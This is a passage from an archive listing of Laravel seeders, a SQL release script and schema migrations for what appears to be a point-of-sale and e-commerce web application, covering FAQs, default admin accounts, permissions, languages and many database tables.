$testimonial->addMedia(public_path($value['image'])) ->preservingOriginal() ->toMediaCollection(Testimonial::IMAGE, config('app.media_disc')); } } // FAQs $faqs = [ [ 'title' => 'How do I get started?', 'description' => 'Simply contact us via our website, and our team will guide you through the onboarding process.', ], [ 'title' => 'Do you provide custom packaging and labeling?', 'description' => 'Yes, we offer custom packaging, labeling, and branding services for your products.', ], [ 'title' => 'Are there any hidden fees?', 'description' => 'No, we believe in transparent pricing. All costs are discussed upfront before you commit.', ], [ 'title' => 'What payment methods do you accept?', 'description' => 'We accept major credit cards, bank transfers, and online payment gateways.', ], [ 'title' => 'Do you have minimum storage requirements?', 'description' => 'We offer flexible storage solutions with no long-term commitments. Contact us for specific details.', ], [ 'title' => 'How much does warehousing cost?', 'description' => 'Pricing depends on the storage space required, duration, and additional services. Contact us for a customized quote.', ], [ 'title' => 'Do you handle order fulfillment?', 'description' => 'Yes, we offer pick, pack, and shipping services to ensure your orders are delivered efficiently.', ], [ 'title' => 'Do you offer climate-controlled storage?', 'description' => 'Yes, we provide temperature-controlled storage solutions for perishable and sensitive goods.', ], [ 'title' => 'Is my inventory secure in your warehouse?', 'description' => 'Yes! Our warehouse is equipped with 24/7 surveillance, restricted access, and advanced security systems to ensure the safety of your goods.', ], [ 'title' => 'What types of products can I store in your warehouse?', 'description' => 'We accommodate a wide range of products, including retail goods, electronics, perishable items, and more. Please contact us for specific storage requirements.', ], [ 'title' => 'How do I contact customer support?', 'description' => 'You can reach us via email at [labs@infyom.in], or through our online contact form.', ], [ 'title' => 'What are your operating hours?', 'description' => 'However, we offer 24/7 support for urgent logistics needs.', ], [ 'title' => 'What services do you offer?', 'description' => 'We provide warehousing, inventory management, order fulfillment, and logistics solutions tailored to your business needs.', ], ]; foreach ($faqs as $faq) { Faq::create($faq); } } } seeders/DefaultUserSeeder.php 0000644 00000006250 15213354167 0012274 0 ustar 00 <?php namespace Database\Seeders; use App\Models\Currency; use App\Models\MultiTenant; use App\Models\Permission; use App\Models\Plan; use App\Models\Role as ModelsRole; use App\Models\Store; use App\Models\Subscription; use App\Models\User; use Carbon\Carbon; use Illuminate\Database\Seeder; use Illuminate\Support\Facades\Hash; use Spatie\Permission\Models\Role; class DefaultUserSeeder extends Seeder { /** * Run the database seeds. */ public function run(): void { // Super Admin Role::create([ 'name' => ModelsRole::SUPER_ADMIN, 'display_name' => 'Super Admin', ]); // $superAdminTenant = MultiTenant::create(['email' => 'superadmin@infy-pos.com']); $input = [ 'first_name' => 'Super', 'last_name' => 'Admin', 'email' => 'superadmin@infy-pos.com', 'email_verified_at' => Carbon::now(), 'password' => Hash::make('123456'), 'tenant_id' => null, ]; $admin = User::create($input); $admin->assignRole(ModelsRole::SUPER_ADMIN); // Admin User $adminRole = Role::create([ 'name' => ModelsRole::ADMIN, 'display_name' => ' Admin', ]); $allPermissions = Permission::pluck('name', 'id'); $adminRole->givePermissionTo($allPermissions); $input = [ 'first_name' => 'admin', 'last_name' => 'admin', 'email' => 'admin@infy-pos.com', 'phone' => '919999999999', 'email_verified_at' => Carbon::now(), 'password' => Hash::make('123456'), 'tenant_id' => null, ]; $user = User::create($input); $user->assignRole($adminRole); $store = Store::create([ 'name' => 'My Store', 'user_id' => $user->id, ]); $tenant = MultiTenant::create(['store_id' => $store->id]); $store->update(['tenant_id' => $tenant->id]); $user->update(['tenant_id' => $tenant->id]); // Currency $currency = Currency::create([ 'name' => 'India', 'code' => 'INR', 'symbol' => '₹', ]); // Plan $plan = Plan::create([ 'name' => 'Default Plan', 'price' => 0, 'frequency' => Plan::WEEKLY, 'assign_while_register' => 1, 'currency_id' => $currency->id, ]); $plan->planFeature()->create([ 'pos_management' => 1, 'reports' => 1, 'emails_support' => 1, 'sms_support' => 1, 'inventory_management' => 1, 'adjustments' => 1, 'roles_permission' => 1, ]); Subscription::create([ 'user_id' => $user->id, 'plan_id' => $plan->id, 'payment_type' => Subscription::TYPE_FREE, 'plan_amount' => $plan->price, 'payable_amount' => $plan->price, 'plan_frequency' => Plan::WEEKLY, 'start_date' => Carbon::now(), 'end_date' => Carbon::now()->addDays(7)->endOfDay(), 'status' => Subscription::ACTIVE, ]); } } seeders/DatabaseSeeder.php 0000644 00000001260 15213354170 0011543 0 ustar 00 <?php namespace Database\Seeders; use Illuminate\Database\Seeder; class DatabaseSeeder extends Seeder { /** * Seed the application's database. */ public function run(): void { $this->call(DefaultCountriesSeeder::class); $this->call(DefaultLanguageTableSeeder::class); $this->call(AddUserIdInTransactionSeeder::class); $this->call(DefaultFrontDataSeeder::class); $this->call(DefaultPermissionsSeeder::class); $this->call(DefaultUserSeeder::class); $this->call(DefaultSettingSeeder::class); $this->call(DefaultFeaturesSeeder::class); $this->call(GenerateCrudPermissionsSeeder::class); } } seeders/DefaultLanguageTableSeeder.php 0000644 00000002134 15213354170 0014040 0 ustar 00 <?php namespace Database\Seeders; use App\Models\Language; use Illuminate\Database\Seeder; class DefaultLanguageTableSeeder extends Seeder { /** * Run the database seeds. */ public function run(): void { Language::create(['name' => 'English', 'iso_code' => 'en', 'is_default' => true, 'status' => true]); Language::create(['name' => 'Chinese', 'iso_code' => 'cn', 'is_default' => false, 'status' => true]); Language::create(['name' => 'French', 'iso_code' => 'fr', 'is_default' => false, 'status' => true]); Language::create(['name' => 'German', 'iso_code' => 'gr', 'is_default' => false, 'status' => true]); Language::create(['name' => 'Spanish', 'iso_code' => 'sp', 'is_default' => false, 'status' => true]); Language::create(['name' => 'Turkish', 'iso_code' => 'tr', 'is_default' => false, 'status' => true]); Language::create(['name' => 'Arabic', 'iso_code' => 'ar', 'is_default' => false, 'status' => true]); Language::create(['name' => 'Vietnamese', 'iso_code' => 'vi', 'is_default' => false, 'status' => true]); } } seeders/DefaultPermissionsSeeder.php 0000644 00000010056 15213354170 0013662 0 ustar 00 <?php namespace Database\Seeders; use Illuminate\Database\Seeder; use Spatie\Permission\Models\Permission; class DefaultPermissionsSeeder extends Seeder { /** * Run the database seeds. */ public function run(): void { $permissions = [ [ 'name' => 'manage_adjustments', 'display_name' => 'Manage Adjustments' ], [ 'name' => 'manage_transfers', 'display_name' => 'Manage Transfers' ], [ 'name' => 'manage_roles', 'display_name' => 'Manage Roles' ], [ 'name' => 'manage_brands', 'display_name' => 'Manage Brands' ], [ 'name' => 'manage_currency', 'display_name' => 'Manage Currency' ], [ 'name' => 'manage_warehouses', 'display_name' => 'Manage Warehouses' ], [ 'name' => 'manage_units', 'display_name' => 'Manage Units' ], [ 'name' => 'manage_product_categories', 'display_name' => 'Manage Product Categories' ], [ 'name' => 'manage_products', 'display_name' => 'Manage Products ' ], [ 'name' => 'manage_suppliers', 'display_name' => 'Manage Suppliers' ], [ 'name' => 'manage_customers', 'display_name' => 'Manage Customers' ], [ 'name' => 'manage_users', 'display_name' => 'Manage Users' ], [ 'name' => 'manage_expense_categories', 'display_name' => 'Manage Expense Categories' ], [ 'name' => 'manage_expenses', 'display_name' => 'Manage Expenses' ], [ 'name' => 'manage_setting', 'display_name' => 'Manage Setting' ], [ 'name' => 'manage_dashboard', 'display_name' => 'Manage Dashboard' ], [ 'name' => 'manage_pos_screen', 'display_name' => 'Manage Pos Screen' ], [ 'name' => 'manage_purchase', 'display_name' => 'Manage Purchase' ], [ 'name' => 'manage_sale', 'display_name' => 'Manage Sale' ], [ 'name' => 'manage_purchase_return', 'display_name' => 'Manage Purchase Return' ], [ 'name' => 'manage_sale_return', 'display_name' => 'Manage Sale Return' ], [ 'name' => 'manage_email_templates', 'display_name' => 'Manage Email Templates' ], [ 'name' => 'manage_reports', 'display_name' => 'Manage Reports' ], [ 'name' => 'manage_quotations', 'display_name' => 'Manage Quotations' ], [ 'name' => 'manage_sms_templates', 'display_name' => 'Manage Sms Templates' ], [ 'name' => 'manage_sms_apis', 'display_name' => 'Manage Sms Apis' ], [ 'name' => 'manage_language', 'display_name' => 'Manage Language' ], [ 'name' => 'manage_variations', 'display_name' => 'Manage Variations' ], ]; foreach ($permissions as $permission) { $permissionExist = Permission::whereName($permission['name'])->exists(); if (! $permissionExist) { Permission::create($permission); } } } } releases/v1.1.0/v1.1.0.sql 0000644 00000004012 15213354170 0010534 0 ustar 00 create table `sales_payments` ( `id` bigint unsigned not null auto_increment primary key, `sale_id` bigint unsigned not null, `payment_date` date not null, `payment_type` int null, `amount` double null, `created_at` timestamp null, `updated_at` timestamp null ) default character set utf8mb4 collate 'utf8mb4_unicode_ci'; alter table `sales_payments` add constraint `sales_payments_sale_id_foreign` foreign key (`sale_id`) references `sales` (`id`) on delete cascade on update cascade; alter table `sales_payments` add `reference` varchar(255) null after `sale_id`; alter table `sales_payments` add `received_amount` double null after `amount`; create table `adjustments` ( `id` bigint unsigned not null auto_increment primary key, `date` date not null, `reference_code` varchar(255) null, `warehouse_id` bigint unsigned not null, `total_products` int null, `created_at` timestamp null, `updated_at` timestamp null ) default character set utf8mb4 collate 'utf8mb4_unicode_ci'; alter table `adjustments` add constraint `adjustments_warehouse_id_foreign` foreign key (`warehouse_id`) references `warehouses` (`id`) on delete cascade on update cascade; create table `adjustment_items` ( `id` bigint unsigned not null auto_increment primary key, `adjustment_id` bigint unsigned not null, `product_id` bigint unsigned not null, `quantity` double null, `method_type` int not null, `created_at` timestamp null, `updated_at` timestamp null ) default character set utf8mb4 collate 'utf8mb4_unicode_ci'; alter table `adjustment_items` add constraint `adjustment_items_adjustment_id_foreign` foreign key (`adjustment_id`) references `adjustments` (`id`) on delete cascade on update cascade; alter table `adjustment_items` add constraint `adjustment_items_product_id_foreign` foreign key (`product_id`) references `products` (`id`) on delete cascade on update cascade; migrations/2020_07_26_044759_rename_status_to_product_checkout_status_in_offline_gateways.php 0000644 00000001353 15213355333 0026252 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class RenameStatusToProductCheckoutStatusInOfflineGateways extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('offline_gateways', function (Blueprint $table) { $table->renameColumn('status', 'product_checkout_status'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('offline_gateways', function (Blueprint $table) { $table->renameColumn('product_checkout_status', 'status'); }); } } migrations/2021_03_25_050147_add_contact_infos_in_basic_settings_extra.php 0000644 00000001645 15213355333 0022151 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddContactInfosInBasicSettingsExtra extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->text('contact_addresses')->nullable(); $table->text('contact_numbers')->nullable(); $table->text('contact_mails')->nullable(); $table->string('map_address', 255)->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->dropColumn(['contact_addresses', 'contact_numbers', 'contact_mails', 'map_address']); }); } } migrations/2020_03_15_152021_create_quote_inputs_table.php 0000644 00000002156 15213355333 0016755 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateQuoteInputsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('quote_inputs', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('language_id')->default(0); $table->tinyInteger('type')->nullable()->comment('1-text, 2-select, 3-checkbox, 4-textarea, 5-file'); $table->string('label', 255)->nullable(); $table->string('name', 255)->nullable(); $table->string('placeholder', 255)->nullable(); $table->tinyInteger('required')->default(0)->comment('1 - required, 0 - optional'); $table->tinyInteger('active')->default(1)->comment('0 - deactive, 1 - active'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('quote_inputs'); } } migrations/2021_01_11_065819_add_drop_cols_in_pages.php 0000644 00000001453 15213355333 0016201 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddDropColsInPages extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('pages', function (Blueprint $table) { $table->dropColumn('body'); $table->longText('components')->nullable(); $table->longText('styles')->nullable(); $table->longText('html')->nullable(); $table->longText('css')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('pages', function (Blueprint $table) { // }); } } migrations/2020_07_25_061733_add_base_currency_columns_to_basic_settings_extra.php 0000644 00000002153 15213355333 0023721 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddBaseCurrencyColumnsToBasicSettingsExtra extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->binary('base_currency_symbol')->nullable(); $table->string('base_currency_symbol_position', 10)->default('left'); $table->string('base_currency_text', 100)->nullable(); $table->string('base_currency_text_position', 10)->default('right'); $table->decimal('base_currency_rate', 8, 2)->default(0.00); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->dropColumn(['base_currency_symbol','base_currency_symbol_position','base_currency_text','base_currency_text_position','base_currency_rate']); }); } } migrations/2020_03_14_151826_create_partners_table.php 0000644 00000001462 15213355333 0016066 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreatePartnersTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('partners', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('language_id')->default(0); $table->string('image', 255)->nullable(); $table->string('url', 255)->nullable(); $table->integer('serial_number')->default(0); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('partners'); } } migrations/2020_03_14_064158_create_archives_table.php 0000644 00000001151 15213355333 0016030 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateArchivesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('archives', function (Blueprint $table) { $table->bigIncrements('id'); $table->string('date', 255)->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('archives'); } } migrations/2020_03_14_181443_create_sliders_table.php 0000644 00000001735 15213355333 0015676 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateSlidersTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('sliders', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('language_id')->default(0); $table->string('title', 255)->nullable(); $table->string('text', 255)->nullable(); $table->string('button_text', 255)->nullable(); $table->string('button_url', 255)->nullable(); $table->string('image', 255)->nullable(); $table->integer('serial_number')->default(0); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('sliders'); } } migrations/2021_04_04_102049_alter_table_basic_settings_extra.php 0000644 00000001347 15213355333 0020274 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AlterTableBasicSettingsExtra extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->string('client_feedback_title'); $table->string('client_feedback_subtitle'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->dropColumn('client_feedback_title'); $table->dropColumn('client_feedback_subtitle'); }); } } migrations/2020_04_29_101508_create_product_orders_table.php 0000644 00000003324 15213355333 0017264 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateProductOrdersTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('product_orders', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('user_id'); $table->string('billing_country'); $table->string('billing_fname'); $table->string('billing_lname'); $table->string('billing_address'); $table->string('billing_city'); $table->string('billing_email'); $table->string('billing_number'); $table->string('shpping_country'); $table->string('shpping_fname'); $table->string('shpping_lname'); $table->string('shpping_address'); $table->string('shpping_city'); $table->string('shpping_email'); $table->string('shpping_number'); $table->decimal('total', 11, 2)->nullable(); $table->string('method'); $table->string('currency_code'); $table->string('order_number'); $table->decimal('shipping_charge', 11, 2)->nullable(); $table->string('payment_status'); $table->string('order_status')->default('pending'); $table->string('txnid'); $table->string('charge_id'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('product_orders'); } } migrations/2021_02_03_033234_add_course_checkout_migration.php 0000644 00000001304 15213355333 0017565 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddCourseCheckoutMigration extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('offline_gateways', function (Blueprint $table) { $table->tinyInteger('course_checkout_status')->default(1); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('offline_gateways', function (Blueprint $table) { $table->dropColumn('course_checkout_status'); }); } } migrations/2020_05_03_182229_add_color_to_packages.php 0000644 00000001244 15213355333 0016023 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddColorToPackages extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('packages', function (Blueprint $table) { $table->string('color', 20)->after('meta_description')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('packages', function (Blueprint $table) { $table->dropColumn('color'); }); } } migrations/2020_03_14_095055_create_calendar_events_table.php 0000644 00000001514 15213355333 0017364 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateCalendarEventsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('calendar_events', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('language_id')->nullable(); $table->string('title', 255)->nullable(); $table->string('start_date', 255)->nullable(); $table->string('end_date', 255)->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('calendar_events'); } } migrations/2021_11_14_074511_add_products_in_home_to_pcategories.php 0000644 00000001343 15213355333 0020767 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class AddProductsInHomeToPcategories extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('pcategories', function (Blueprint $table) { $table->tinyInteger('products_in_home')->default(0)->comment('1 - yes, 0 - no')->after('is_feature'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('pcategories', function (Blueprint $table) { $table->dropColumn('products_in_home'); }); } } migrations/2021_01_19_060650_change_stock_default_value_in_products.php 0000644 00000001205 15213355333 0021470 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class ChangeStockDefaultValueInProducts extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('products', function (Blueprint $table) { $table->integer('stock')->default(0)->change(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('products', function (Blueprint $table) { // }); } } migrations/2020_03_30_190620_add_feature_to_services.php 0000644 00000001315 15213355333 0016374 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddFeatureToServices extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('services', function (Blueprint $table) { $table->tinyInteger('feature')->default(0)->comment('0 - will not show in home, 1 - will show in home'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('services', function (Blueprint $table) { $table->dropColumn('feature'); }); } } migrations/2020_04_25_090543_create_users_table.php 0000644 00000004512 15213355333 0015371 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateUsersTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('users', function (Blueprint $table) { $table->bigIncrements('id'); $table->string('fname')->nullable(); $table->string('lname')->nullable(); $table->string('photo')->nullable(); $table->string('username')->nullable(); $table->string('email')->nullable(); $table->string('password')->nullable(); $table->string('number')->nullable(); $table->string('city')->nullable(); $table->string('state')->nullable(); $table->string('address')->nullable(); $table->string('country')->nullable(); $table->string('remember_token')->nullable(); $table->string('billing_fname')->nullable(); $table->string('billing_lname')->nullable(); $table->string('billing_photo')->nullable(); $table->string('billing_username')->nullable(); $table->string('billing_email')->nullable(); $table->string('billing_number')->nullable(); $table->string('billing_city')->nullable(); $table->string('billing_state')->nullable(); $table->string('billing_address')->nullable(); $table->string('billing_country')->nullable(); $table->string('shpping_fname')->nullable(); $table->string('shpping_lname')->nullable(); $table->string('shpping_photo')->nullable(); $table->string('shpping_username')->nullable(); $table->string('shpping_email')->nullable(); $table->string('shpping_number')->nullable(); $table->string('shpping_city')->nullable(); $table->string('shpping_state')->nullable(); $table->string('shpping_address')->nullable(); $table->string('shpping_country')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('users'); } } migrations/2020_03_14_092610_drop_timestamps_from_basic_settings_extended.php 0000644 00000001276 15213355333 0022732 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class DropTimestampsFromBasicSettingsExtended extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->dropColumn(['created_at', 'updated_at']); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->timestamps(); }); } } migrations/2020_04_13_145313_create_menus_table.php 0000644 00000001264 15213355333 0015351 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateMenusTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('menus', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('language_id')->nullable(); $table->text('menus')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('menus'); } } migrations/2020_03_14_093031_create_bcategories_table.php 0000644 00000001321 15213355333 0016502 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateBcategoriesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('bcategories', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('language_id')->default(0); $table->string('name', 255)->nullable(); $table->tinyInteger('status')->default(1); $table->integer('serial_number')->default(0); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('bcategories'); } } migrations/2021_01_22_145809_add_external_link_in_packages.php 0000644 00000001270 15213355333 0017530 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddExternalLinkInPackages extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('packages', function (Blueprint $table) { $table->dropColumn('order_status'); $table->text('link')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('packages', function (Blueprint $table) { $table->dropColumn('link'); }); } } migrations/2021_04_18_092820_add_whatsapp_chat_cols_to_basic_settings_extra.php 0000644 00000002240 15213355333 0023201 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddWhatsappChatColsToBasicSettingsExtra extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->tinyInteger('is_whatsapp')->default(1)->comment('1 - enable, 0 - disable'); $table->string('whatsapp_number', 255)->nullable(); $table->string('whatsapp_header_title', 255)->default('Chat with us on WhatsApp!'); $table->text('whatsapp_popup_message')->default('Hello, how can we help you?'); $table->tinyInteger('whatsapp_popup')->default(1)->comment('1 - enable, 0 - disable'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->dropColumn(['is_whatsapp', 'whatsapp_number', 'whatsapp_header_title', 'whatsapp_popup_message', 'whatsapp_popup']); }); } } migrations/2021_11_20_070431_add_newsletter_section_in_basic_settings.php 0000644 00000001346 15213355333 0022023 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class AddNewsletterSectionInBasicSettings extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings', function (Blueprint $table) { $table->tinyInteger('newsletter_section')->default(1)->comment('1 - active, 2 - deactive'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings', function (Blueprint $table) { $table->dropColumn('newsletter_section'); }); } } migrations/2020_03_14_134924_create_jcategories_table.php 0000644 00000001475 15213355333 0016533 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateJcategoriesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('jcategories', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('language_id')->default(0); $table->string('name', 255)->nullable(); $table->tinyInteger('status')->default(1); $table->integer('serial_number')->default(0); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('jcategories'); } } migrations/2021_11_20_074723_rename_add_products_section.php 0000644 00000001675 15213355333 0017267 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class RenameAddProductsSection extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->dropColumn('products_section'); $table->tinyInteger('featured_products_section')->default(1)->comment('1 - active, 0 - deactive'); $table->tinyInteger('category_products_section')->default(1)->comment('1 - active, 0 - deactive'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->dropColumn(['featured_products_section', 'category_products_section']); }); } } migrations/2020_10_25_125408_create_course_purchases_table.php 0000644 00000001763 15213355333 0017606 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateCoursePurchasesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('course_purchases', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('user_id'); $table->string('order_number'); $table->string('first_name'); $table->string('last_name'); $table->string('email'); $table->integer('course_id'); $table->string('currency_code')->nullable(); $table->integer('current_price')->nullable(); $table->integer('previous_price')->nullable(); $table->string('payment_method'); $table->string('payment_status'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('course_purchases'); } } migrations/2021_04_07_104306_add_gallery_category_status_to_basic_settings_extra_table.php 0000644 00000001245 15213355333 0025434 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddGalleryCategoryStatusToBasicSettingsExtraTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->unsignedTinyInteger('gallery_category_status'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->dropColumn('gallery_category_status'); }); } } migrations/2021_04_04_141250_create_feedbacks_table.php 0000644 00000001316 15213355333 0016124 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateFeedbacksTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('feedbacks', function (Blueprint $table) { $table->bigIncrements('id'); $table->string('name'); $table->string('email'); $table->string('subject'); $table->unsignedMediumInteger('rating'); $table->text('feedback'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('feedbacks'); } } migrations/2021_01_23_101510_drop_active_col_from_package_inputs.php 0000644 00000001174 15213355333 0020752 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class DropActiveColFromPackageInputs extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('package_inputs', function (Blueprint $table) { $table->dropColumn('active'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('package_inputs', function (Blueprint $table) { // }); } } migrations/2020_07_29_070943_modify_footer_text_in_basic_settings.php 0000644 00000001311 15213355333 0021221 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class ModifyFooterTextInBasicSettings extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings', function (Blueprint $table) { $table->text('footer_text')->nullable()->change(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings', function (Blueprint $table) { $table->string('footer_text', 255)->nullable()->change(); }); } } migrations/2021_11_20_072800_add_products_section_in_basic_settings_extended.php 0000644 00000001571 15213355333 0023354 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class 